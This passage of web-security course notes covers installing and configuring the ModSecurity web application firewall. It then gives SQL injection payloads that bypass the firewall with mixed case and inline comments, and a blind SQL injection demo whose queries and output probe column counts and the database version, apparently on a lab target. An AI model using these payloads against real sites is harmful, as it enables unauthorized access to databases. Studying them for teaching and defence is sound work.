  1892. inurl:/view/viewer_index.shtml
  1893.  
  1894. Session 12
  1895. ==========
  1896. Introduction to Firewall
  1897. ------------------------
  1898. Firewall
  1899. --------
  1900. It is an extra security layer, which helps me securing our web application and web site. It acts as the middle layer between the data transmission of user and the server.
  1901. Firewall act as the filter. It filters the unwanted packets and malicious packets. Firewall works on the basis of signature and permutation and combination of queries which are transmitted by the user. Knowledgebase --> It acts just like database for signatures and combinations.
  1902.  
  1903. There are two types of firewall:
  1904. 1. Software Solution Firewall
  1905. 2. Hardware Solution Firewall
  1906.  
  1907. Software Solution Firewall
  1908. --------------------------
  1909. These are the softwares which are installed in the server.
  1910. Microsoft windows Firewall
  1911.  
  1912. Hardware Solution Firewall
  1913. --------------------------
  1914. They are the hardwares, which act as the man in the middle, and filters the packet which are malicious.
  1915. MOD Security
  1916.  
  1917. WAF --> Web Application Firewall
  1918. --------------------------------
  1919. MOD Security
  1920. ------------
  1921.  
  1922. Installation of Mod Security
  1923. ============================
  1924. Installing and configuring ModSecurity
  1925.  
  1926. Step 1: open terminal and type
  1927. $ apt-get update
  1928. $ apt-get upgrade
  1929. $ apt-get install apache2
  1930.  
  1931. Step 2: $ sudo apt-get install libapache2-modsecurity
  1932.  
  1933. Step 3: Now we need to place a modsecurity.conf configuration file into the /etc/modsecurity
  1934. $ sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
  1935. now open
  1936. $ sudo nano /etc/modsecurity/modsecurity.conf
  1937. Find this line:
  1938. SecRuleEngine DetectionOnly
  1939.  
  1940. and change it to:
  1941.  
  1942. SecRuleEngine On
  1943.  
  1944. Step 4: now check the apache2 log directory:
  1945. $ ls /var/log/apache2
  1946.  
  1947. You should see three files: access.log, error.log and other_vhosts_access.log.
  1948.  
  1949. Now restart the apache2 service and check this directory again
  1950. $ sudo service apache2 reload
  1951. $ ls /var/log/apache2
  1952. A new log called modsec_audit.log was created
  1953.  
  1954. Step 5: now check the modsecurity-crs direcotry
  1955. $ ls /usr/share/modsecurity-crs/
  1956. the directories: activated_rules, base_rules, experimental_rules and optional_rules
  1957.  
  1958. Step 6: for activate all of the rules in the base_rules and optional_rules directories so execute the following commands in a terminal:
  1959. $ cd /usr/share/modsecurity-crs/base_rules
  1960. $ for f in * ; do sudo ln -s /usr/share/modsecurity-crs/base_rules/$f /usr/share/modsecurity-crs/activated_rules/$f ; done
  1961.  
  1962. $ cd ..
  1963. $ cd optional_rules
  1964. $ cd /usr/share/modsecurity-crs/optional_rules
  1965. $ for f in * ; do sudo ln -s /usr/share/modsecurity-crs/optional_rules/$f /usr/share/modsecurity-crs/activated_rules/$f ; done
  1966.  
  1967. $ cd ..
  1968. $ cd experimental_rules
  1969. $ cd /usr/share/modsecurity-crs/experimental_rules
  1970. $ for f in * ; do sudo ln -s /usr/share/modsecurity-crs/experimental_rules/$f /usr/share/modsecurity-crs/activated_rules/$f ; done
  1971.  
  1972.  
  1973. Step 7: we need to tell apache where to find the activated rules. Open the /etc/apache2/mods-available/security2.conf file.
  1974. $ sudo nano /etc/apache2/mods-available/security2.conf
  1975.  
  1976. At the end of the file just before </IfModule> enter the following lines:
  1977. Include "/usr/share/modsecurity-crs/*.conf"
  1978. Include "/usr/share/modsecurity-crs/activated_rules/*.conf"
  1979. save it
  1980.  
  1981. Step 8: We must enable the headers module, this allows ModSecurity to control and modify the HTTP headers for both requests and responses.
  1982. $ sudo a2enmod headers
  1983. Now restart apache:
  1984. $ sudo service apache2 restart
  1985.  
  1986.  
  1987. cd /etc/apache2/sites-available
  1988. ls ---> 000-default.conf
  1989. sudo nano 000-default.conf
  1990. edit
  1991. ProxyPass --> Web application IP
  1992. ProxyPassReverse --> Web application IP
  1993. save and exit
  1994. sudo service apache2 restart
  1995.  
  1996. Bypassing MOD_SECURITY
  1997. ======================
  1998.  
  1999. union select 1,2--+
  2000. Block
  2001. Mix Cases
  2002. UnIoN SeLeCt 1,2--+
  2003. Inline Executable Comments
  2004. /*!UnIoN*/ /*!SeLeCt*/ 1,2--+
  2005. /*!UnIoN*/ /*!SeLeCt*/ 1,table_name from /*information_schema.tables*/--+
  2006.  
  2007. BLIND SQL INJECTION
  2008. ===================
  2009. Blind SQL injection is a type of sql injection attack that ask the database true or false questions and determine the answer based on the application response. This attack is often used when the web application is configured to show generic error message, but has not mitigated the code that is vulnerable to SQLi. This type of sql injection is identical to normal sql injection, the only is the data retreived from the database.
  2010. 1. Blind Boolean
  2011. 2. Time Based SQL Injection
  2012.  
  2013. http://newsletter.com/items.php?id=2
  2014. ------------------------------------
  2015. select title,description from items where id=2
  2016. ----------------------------------------------
  2017.  
  2018. http://newsletter.com/items.php?id=2 and 1=2
  2019.  
  2020. select title,description from items where id=2 and 1=2
  2021.  
  2022. Demo
  2023. ====
  2024. 1
  2025. 1'
  2026. 1' and 1=0 # ---> False
  2027. 1' and 1=1 # ---> True
  2028. 1' and 1=0 order by 1 # --> No Result ---> Generic error
  2029. 1' and 1=1 order by 1 # --> Result --> normal result
  2030. 1' and 1=0 order by 2 # --> No result
  2031. 1' and 1=1 order by 2 # ---> Result
  2032. 1' and 1=0 order by 3 # ---> No Result
  2033. 1' and 1=1 order by 3 # ---> No Result ---> True ---> there are 2 number of columns
  2034.  
  2035. 1' and 1=0 union select 1,2 #
  2036. ID: 1' and 1=0 union select 1,2 #
  2037. First name: 1
  2038. Surname: 2
  2039.  
  2040. 1' and 1=1 union select 1,2 #
  2041. ID: 1' and 1=1 union select 1,2 #
  2042. First name: admin
  2043. Surname: admin
  2044.  
  2045. ID: 1' and 1=1 union select 1,2 #
  2046. First name: 1
  2047. Surname: 2
  2048.  
  2049. 1' and 1=0 union select NULL,2 # --> nO dATA
  2050.  
  2051. 1' and 1=1 union select null,2 #---> Shows Data
  2052. ID: 1' and 1=1 union select null,2 #
  2053. First name: admin
  2054. Surname: admin
  2055.  
  2056. ID: 1' and 1=1 union select null,2 #
  2057. First name:
  2058. Surname: 2
  2059.  
  2060. 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2061. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2062. First name:
  2063. Surname: 0
  2064.  
  2065. 1' and 1=0 union select null,substr(@@version,1,1)=4 #
  2066. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2067. First name:
  2068. Surname: 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement